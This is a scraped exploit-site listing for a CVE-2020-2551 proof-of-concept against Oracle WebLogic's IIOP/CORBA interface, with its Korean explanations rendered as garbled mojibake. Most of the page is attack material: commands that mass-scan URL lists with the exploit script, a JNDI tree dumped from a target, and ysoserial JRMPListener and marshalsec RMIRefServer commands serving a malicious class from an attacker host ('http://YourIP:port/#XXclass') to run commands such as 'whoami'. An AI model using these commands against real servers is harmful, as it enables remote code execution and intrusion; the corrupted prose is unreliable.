## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HKTALENT-CVE-2020-2551
Twitter: @Hktalent3135773  
# 0γνλ‘ μ΅μ€νλ‘μ λꡬ μ»λ λ°©λ²?
https://github.com/hktalent/CVE-2020-2551/issues/5 μ°Έκ³
# 1γCVE-2020-2551
CVE-2020-2551 poc μ΅μ€νλ‘μ python μμ ν€μλ: GIOP corba 
### μ¬μ© λ°©λ²
root@kitploit:~
python3 CVE-2020-2551.py -u http://192.168.26.79:7001
cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
cat xxx.html|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
# 32κ° μ€λ λ κ²μ¬
cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
# κ²°κ³Όλ₯Ό data/*.txtμ μ μ₯
java -cp hktalent_51pwn_com_12.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
java -cp hktalent_51pwn_com_12.2.1.3.0_check.jar testiiop.ExpCVE20202551_names ip:port ip:port
### t3, t3s, http, https, iiop, iiops
root@kitploit:~
service:jmx:rmi://ip:port/jndi/iiop://ip:port/MBean-server-JNDI-name
service:jmx:iiop://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
service:jmx:t3://ip:port/jndi/weblogic.management.mbeanservers.domainruntime
## poc

# 2γλΉμ μ΄ λ¬΄μμ νλμ§ μκ³ μμ΅λλ€
root@kitploit:~
{
"ejb": {
"class": "com.sun.jndi.cosnaming.CNCtx",
"interfaces": [
"javax.naming.Context"
],
"mgmt": {
"MEJB": {
"class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
"interfaces": []
},
"class": "com.sun.jndi.cosnaming.CNCtx",
"interfaces": [
"javax.naming.Context"
]
}
},
"javax": {
"class": "com.sun.jndi.cosnaming.CNCtx",
"error msg": "org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces": [
"javax.naming.Context"
]
},
"jdbc": {
"class": "com.sun.jndi.cosnaming.CNCtx",
"db_xf": {
"class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
"interfaces": []
},
"interfaces": [
"javax.naming.Context"
]
},
"mejbmejb_jarMejb_EO": {
"class": "com.sun.corba.se.impl.corba.CORBAObjectImpl",
"interfaces": []
},
"weblogic": {
"class": "com.sun.jndi.cosnaming.CNCtx",
"error msg": "org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces": [
"javax.naming.Context"
]
}
}
# 3γejb
root@kitploit:~
/bea_wls_internal/classes/mejb@/
weblogic.management.j2ee.mejb.Mejb_dj*#remove(Object obj)
# 4γjta
root@kitploit:~
x.lookup("ejb/mgmt/MEJB").remove(jta);
# 5γλ‘κ·Έ
* μ격 jdk8μμ μλνμ§ μμ Jdk7u21 νμ΄λ‘λλ₯Ό μ¬μ©νλ rmi μμ μ¬μ©νμ§ λ§μμμ€
root@kitploit:~
java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami'
λ€μμ μ¬μ©νμΈμ, XXclass.classλ jdk6μμ λΉλλ¨
root@kitploit:~
java -cp $mtx/../tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 'http://YourIP:port/#XXclass' 1099
# 6γκ°μ¬ν©λλ€
@r4v3zn @0nise 